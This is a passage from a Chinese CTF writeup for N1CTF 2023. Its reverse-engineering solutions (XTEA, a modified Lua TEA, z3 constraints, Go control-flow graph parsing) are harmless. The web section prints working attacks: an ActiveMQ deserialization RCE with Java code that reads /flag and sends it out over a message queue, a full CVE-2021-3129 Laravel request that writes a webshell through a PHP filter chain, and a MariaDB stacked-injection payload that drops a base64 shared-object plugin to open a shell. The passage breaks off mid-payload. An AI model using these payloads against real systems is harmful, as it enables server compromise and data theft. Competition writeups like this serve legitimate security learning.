                v1 += (((v0 << 2) ^ (v0 >> 10)) + v0) ^ (sum + key[(sum >> 11) & 3]);
        }
        v[0] = v0;
        v[1] = v1;
}

void xtea_decrypt(unsigned int num_rounds, unsigned int* v, unsigned int* key) {
        unsigned int v0 = v[0], v1 = v[1], delta = 0x636f3268, sum = delta * num_rounds;
        for (int i = 0; i < num_rounds; i++) {
                v1 -= (((v0 << 2) ^ (v0 >> 10)) + v0) ^ (sum + key[(sum >> 11) & 3]);
                sum -= delta;
                v0 -= (((v1 << 9) ^ (v1 >> 6)) + v1) ^ (sum + key[sum & 3]);
        }
        v[0] = v0;
        v[1] = v1;
}

int main() {
        unsigned int key[4] = {
                0x636f3268,
                0x636f3268,
                0x636f3268,
                0x636f3268
        };
        unsigned int data[] = {
                0x75ff64c2,
                0x357e9a47,
                0x418d87a7,
                0x4d8e0a6d,
                0x697bb443,
                0x39398747,
                0x3deba139,
                0xc34f49bb,
                0
        };
        for (int i = 0; i < 4; i++)
                xtea_decrypt(8, data + 2 * i, key);
        puts((char*) data);
        return 0;
}
// n1ctf{a_n1ce_h2occ_powered_xtea}

N1LLua

Sovled by: lxr, Ichild

N1CTF 2023 Writeup by Never Stop Exploiting

得到主逻辑 main.lua,使用 luadec -dis 可以看字节码
基本就是加载一个 lua52 的模块然后调用,进行加密
得到加密逻辑,tea 的结构

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-- params : ...
-- function num : 0 , upvalues : 
encrypt = function(v, k, p)
    -- function num : 0_0 , upvalues : 
    local v0, v1 = v[p + 1], v[p + 2]
    local sum = 0
    local delta = 2654435769
    local k0, k1, k2, k3 = k[1], k[2], k[3], k[4]
    for i = 1, 32 do
      sum = sum + delta
      v0 = v0 + (bit32.bxor)((bit32.bxor)(v1 ^ 4 + k0, v1 + (sum)), v1 ^ 5 + k1)
      v1 = v1 + (bit32.bxor)((bit32.bxor)(v0 ^ 4 + k2, v0 + (sum)), v0 ^ 5 + k3)
    end
    v[p + 1] = v0
  end
  
  main = function(x)
    -- function num : 0_1 , upvalues : 
    local k = {3735928575, 3405691582, 3735929054, 3221229823}
    local v = x
    for i = 0, #v - 1, 2 do
      encrypt(v, k, i)
    end
    return v
  end
  
  return main(...)

逆向分析 v_execute 函数,发现 pow 被改成了自定义的加密操作
然而这时也无法正常解密,所以在 pow 和 内置的 bxor 函数下断点,跟一下加密,发现还存在一个 »6 ^ 0x15734145 的操作
然后从 dnspy 反编译的 Assembly-CSharp.dll 提取一下 cipher 就可以了,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def custom_pow(input):
    output = ((input << 3) ^ 0x4736251)
    return output

def xor(a, b):
    return (a ^ b) & 0xffffffff

def encrypt(v, k, p):
    v0, v1 = v[p], v[p + 1]
    sum = 0
    delta = 2654435769
    k0, k1, k2, k3 = k[0], k[1], k[2], k[3]
    for i in range(32):
        sum += delta
        # print(f"v0: {v0:x}, v1: {v1:x}")
        v0 += xor(xor(custom_pow(v1) + k0, v1 + sum),
                  (xor(((v1 & 0xffffffff) >> 6), 0x15734145) + k1))
        # v1 += (custom_pow(v0) + k2) ^ (v0 +
        v1 += xor(xor(custom_pow(v0) + k2, v0 + sum),
                  (xor(((v0 & 0xffffffff) >> 6), 0x15734145) + k3))

    v[p], v[p + 1] = v0, v1
# 15734145

def decrypt(v, k, p):
    v0, v1 = v[p], v[p + 1]
    delta = 2654435769
    sum = (delta * 0x20) & 0xffffffff
    k0, k1, k2, k3 = k[0], k[1], k[2], k[3]
    for i in range(0x20):
        v1 -= xor(xor(custom_pow(v0) + k2, v0 + sum),
                  (xor(((v0 & 0xffffffff) >> 6), 0x15734145) + k3))
        v0 -= xor(xor(custom_pow(v1) + k0, v1 + sum),
                  (xor(((v1 & 0xffffffff) >> 6), 0x15734145) + k1))
        sum -= delta
        sum &= 0xffffffff
    v[p], v[p + 1] = v0, v1

k = [0xdeadbeff, 0xcafebabe, 0xdeadc0de, 0xc00010ff]

print(", ".join([hex(i) for i in k]))
cipher = [
    75405591852,
    78071625542,
    69577277816,
    57193980063
]
decrypt(cipher, k, 0)
decrypt(cipher, k, 2)

flag = b''
for i in cipher:
    data = i.to_bytes(4, 'little')
    flag += data

print(flag)

Addition Plus

Sovled by: mcsage, surager, Cur1ed

0x1344 这个地址的 call 会依次调用以下函数:

  1. 0x15B0
  2. 0xbc90
  3. 0x14200
  4. 0x1d4c0
  5. 0x28120
  6. 0x33390
  7. 0x39f50
  8. 0x436c0
    函数内部是一组约束:
1
2
3
4
5
6
7
  uVar1 = param_1 * 2 ^ param_1;
  uVar2 = (param_1 * 2 & param_1) * 2;
  uVar4 = uVar1 ^ uVar2;
  uVar2 = (uVar2 & uVar1) * 2;
  uVar1 = uVar4 ^ uVar2;
  ...
  return (uVar3 & uVar2) * 2 ^ uVar2 ^ uVar3

Flag checker将输入每8字节为一组,分别调用以上8个函数,将返回值与rodata初始值进行比较。
直接使用z3求解,得到flag

n1go

Sovled by: Ichild

给的go源码,字符串被混淆了,先提取出来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3

import os
import subprocess

def run_cmd(cmd):
    p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = p.communicate()
    return stdout, stderr

def get_constant_func_range(codes):
    i = -1
    try:
        while True:
            start = codes.index('func() string {', i + 1)
            i = start + 15
            b_cnt = 1
            while b_cnt:
                if codes[i] == '}': b_cnt -= 1
                elif codes[i] == '{': b_cnt += 1
                elif codes[i] == '"':
                    i += 1
                    while codes[i] != '"':
                        if codes[i] == '\\':
                            i += 2
                        else:
                            i += 1
                i += 1
            if codes[i] == '(' and codes[i + 1] == ')':
                end = i + 2
                # print(codes[start: end])
                return start, end
    except:
        return None, None

def get_constant_func_result(func_codes):
    open('aaa.go', 'w').write('''
package main

func main() {
    print(%s);
}
''' % func_codes)
    assert os.system('go build aaa.go') == 0
    stdout, stderr = run_cmd('./aaa')
    assert stdout == b'', stdout
    print(stderr.decode())
    return stderr.decode()

codes = open('./N1G0.go', 'r').read()
while True:
    start, end = get_constant_func_range(codes)
    if start == None and end == None: break
    result = get_constant_func_result(codes[start: end])
    codes = codes[: start] + '"' + result + '"' + codes[end: ]

open('./N1G0_out.go', 'w').write(codes)

1M变成了200多K。里面有很多重复的字符串,应该都是失败的提示。需要找一下提示成功的字符串,这样方便定位最终目标。提取字符串:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3

codes = open('./N1G0_out.go', 'r').read()

try:
    strings_set = set()
    i = -1
    while True:
        start = codes.index('"', i + 1)
        i = start + 1
        while codes[i] != '"':
            if codes[i] == '\\':
                i += 2
            else:
                i += 1
        i += 1
        end = i
        strings_set.add(codes[start: end])
except:
    pass

for i in strings_set:
    print(i)
    
    
'''
"Oh no :("
"Nev1r_G0nna_G2ve_Y8u_Up_N5v1r_G1nna_Let_Y4u_D1wn_N8v4r_G5nna_D0sert_You"
"congratulation! your flag is N1CTF{md5(your input)}"
"ckh47fcp3bslge52qs30"
"os"
"Oops"
"fmt"
"ckh47fcp3bslge52qs40"
"ckh47fcp3bslge52qs3g"
"Just do it :D"
"you lost :) take a break and try again!"
"hacker, get out!"
"Welcome to N1CTF 2023!"
"Please input secret: "
'''

源码中搜一下找到 congratulation 只有一个函数,从main进入可以看到每次读入一个字符后根据输入值进入不同函数,明显是个图问题,只要解析出来图结构找路径就行了。源码太规范了,直接简单处理就能解析。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3

import re

def parse_func(func_code):
    lines = func_code.strip().splitlines()
    if not re.match('^func (.+)\(\) \{$', lines[0]): return None, None
    funcname = re.findall('^func (.+)\(\) \{$', lines[0])[0]
    if 'switch dWhhB1d() {' != lines[1].strip():
        return None, None
    edges = {}
    i = 2
    while True:
        line = lines[i].strip()
        if line.startswith('default'):
            break
        assert line.startswith('case'), line
        v = eval(re.findall('^case (.*):$', line)[0])
        if type(v) == int: v = chr(v)
        i += 1
        line = lines[i].strip()
        if not line.endswith('()'):
            while not lines[i].strip().startswith('case') and not lines[i].strip().startswith('default'):
                i += 1
            continue
        f = re.findall('^(.*)\(\)$', line)[0]
        # print('%s %s %s' % (funcname, v, f))
        edges[f] = v
        i += 1
    if not edges: return None, None
    return funcname, edges

def get_funcs(codes):
    try:
        i = -1
        while True:
            start = codes.index('func ', i + 1)
            i = start + 5
            while codes[i] != '{': i += 1
            i += 1
            b_cnt = 1
            while b_cnt:
                if codes[i] == '}': b_cnt -= 1
                elif codes[i] == '{': b_cnt += 1
                elif codes[i] == '"':
                    i += 1
                    while codes[i] != '"':
                        if codes[i] == '\\':
                            i += 2
                        else:
                            i += 1
                i += 1
            end = i
            yield codes[start: end]
    except:
        pass


codes = open('./N1G0_out.go', 'r').read()
import networkx as nx
G = nx.DiGraph()

graph = {}
for func in get_funcs(codes):
    name, edges = parse_func(func)
    if name == None and edges == None:
        continue
    graph[name] = edges
    for f in edges:
        G.add_edge(name, f)

p = nx.shortest_path(G, 'cMpCg2IkJ95', 'eicz56Kamp')
# print(p)
flag = ''
for i in range(len(p) - 1):
    flag += graph[p[i]][p[i + 1]]

print(flag)
import hashlib
print('N1CTF{%s}' % hashlib.md5(flag.encode()).hexdigest())

# LKdwYBeVVLxJw9qU7OQu41Vi1yNKEP8QG57KomIuYvS5uzvO39i0MhoDO6ReG8Q33oXoRnoJA0t9RwBpmtj1zuKmSzpLnIg5PRjCszXgd5mMq25vuvrlCpUW2Es4ymfidLsXvRbeW8a7xKuYPmVvQ3jAUwFUIhGHl7Zus9JqJ4OyCBQ56sjRO1M47G6BmsUes7b1
# N1CTF{040ac030ec53c065dea63b8ae076423d}

Web

strangeport

Sovled by: byc_404, rmb122

题目可以与acitveMQ openwire端口交互,拿0day直接打会受到不出网的限制,因此只能退而求其次变为SSRF. ssrf 触发Gson反序列化时,发现Gson还原对象在有无参构造方法的情况下会调用无参构造方法,否则是Unsafe实例化,之后再通过反射设置属性。

根据后续提示,需要寻找constructor到Runtim.getRuntime().exec()的链子,linux环境下不难想到打印机服务相关的PrintService相关类,最终定位到PrintServiceLookupProvider,其正好会起一个内部类作为新线程,拼接外部类的成员变量进行命令执行。因此可以RCE

最后解决flag外带问题,写个class到/tmp下再执行,将flag内容加到activeMQ 的新queue里去,本地client连上去即可
echo xxx|base64 -d >/tmp/Main.class
java -cp /opt/apache-activemq/lib/optional/*:/tmp/:/opt/apache-activemq/activemq-all-5.17.5.jar Main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;

public class Main implements MessageListener {
    private void publish() throws Exception {
        javax.jms.ConnectionFactory factory;
        factory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = factory.createConnection();
        Session pubSession = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        Queue queue = pubSession.createQueue("flagqueue");
        MessageProducer publisher = pubSession.createProducer(queue);
        String[] cmd = new String[]{"/bin/sh","-c","cat /flag"};
        byte[] bs = new Scanner(new ProcessBuilder(cmd).start().getInputStream())
                .useDelimiter("\\A")
                .next()
                .getBytes();
        String message = new String(bs);
        TextMessage msg = pubSession.createTextMessage();
        msg.setText(message);
        publisher.send(msg);
        System.out.println("publish finished");
        connection.close();
    }

    private void consume() throws Exception {
        ConnectionFactory factory = new ActiveMQConnectionFactory("tcp://xxx:61616");
        Connection connection = factory.createConnection();
        Session subSession = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        Queue queue = subSession.createQueue("flagqueue");
        MessageConsumer subscriber = subSession.createConsumer(queue);
        subscriber.setMessageListener(this);
        connection.start();
    }


    public static void main(String[] args) throws Exception {
        Main main = new Main();
        //  main.publish();
        main.consume();
    }

    @Override
    public void onMessage(Message message) {
        try {
            System.out.println("Received " + ((TextMessage) message).getText());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}   

laravel

Sovled by: rmb122

CVE-2021-3129 修改一下利用方式, 通过 php filter chain 构造出 webshell 后直接写进 /var/www/html/index.php 即可

POST /_ignition/execute-solution HTTP/1.1
Host: chall-756f4e676a5a567a.sandbox.ctfpunk.com
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: XSRF-TOKEN=eyJpdiI6ImYzbmFzbmhCL0J3ZHVhUzJhVUFTS1E9PSIsInZhbHVlIjoiUy9sSU9XL0taMFY0aTI2enYrLzUxN3pTZXNOVjBvMjRyRU1MUFhya3BrTDJpcW54YjFNMDJWZlVZeC8xdFcwUlZQVEN6WWFvdVM4bG5UQ3lTVWtDMVFTR0dkcFdicFU4N0M2a0pIS0JrWEk4a0NMZEU2SUR6eDJxWFFBZFRvWmkiLCJtYWMiOiIwZGUzN2MxZDgzNWI3ZWU1NTIyOGY0NTQ1NWE5NDJmNzI0MWE2ZjIyMDA5ZTE0YmM3OTAwZWE2NWQ0MTA1NGMxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRJWjFGVlBFQXJNNXRieTRySHBsZWc9PSIsInZhbHVlIjoiRGxyNVNEQ3p2RXlMc3Y3WVM2YVlhb2FwNG9vSUpjam9ZZU0rSHQ0MVNtOWZLR3hjaWR6MlpKS3FhT2ZQUU14VWdyQThWY3FNVUhuazdoZzY4N3preXVLOFd3RUtyRUQ5SnlmVUJWbkR4YTZGL1h2MCs4b3d4YUZ3ajU2OG9iWmoiLCJtYWMiOiJhMWUyODA2ODRlYzY0MTEyMzY5ZTYyZWM0MWU1MDQ1ZTVlZjZjNzhiMGMyOWM2NjRhOWYyY2U3OTUxMWE4MzU3IiwidGFnIjoiIn0%3D
sec-gpc: 1
Connection: close
Content-Type: application/json
Content-Length: 6640

{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
        "variableName": "xxx",
        "viewFile": "php://filter/read=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/var/www/html/public/index.php"
    }
}

ezmaria

Sovled by: rmb122, crumbledwall, z3ratu1

load_file 可以直接读文件, 并且题目就放在 /var/www/html/index.php

1 union select 1,(select load_file("/var/www/html/index.php")) limit 1,1

过滤以下语句

1
2
3
if (preg_match("/(master|change|outfile|slave|start|status|insert|delete|drop|execute|function|return|alter|global|immediate)/is", $_REQUEST["id"])){
    die("你就不能绕一下喵");
}

题目支持堆叠注入, 虽然不能用 CREATE FUNCTIOIN, 但是可以用 INSTALL PLUGIN / SONAME 来加载动态链接库
同时 dumpfile 没有被 ban, 可以直接写文件

1; select from_base64('xx') into dumpfile '/mysql/plugin/xxx.so';

但是调了一会发现 PLUGIN INSTALL 不上, 最后发现是因为 mysql 库不存在, 手动创一个即可
第一步先弹个 shell

1;create database mysql;create table mysql.plugin(name varchar(64), dl varchar(128));select FROM_BASE64('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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA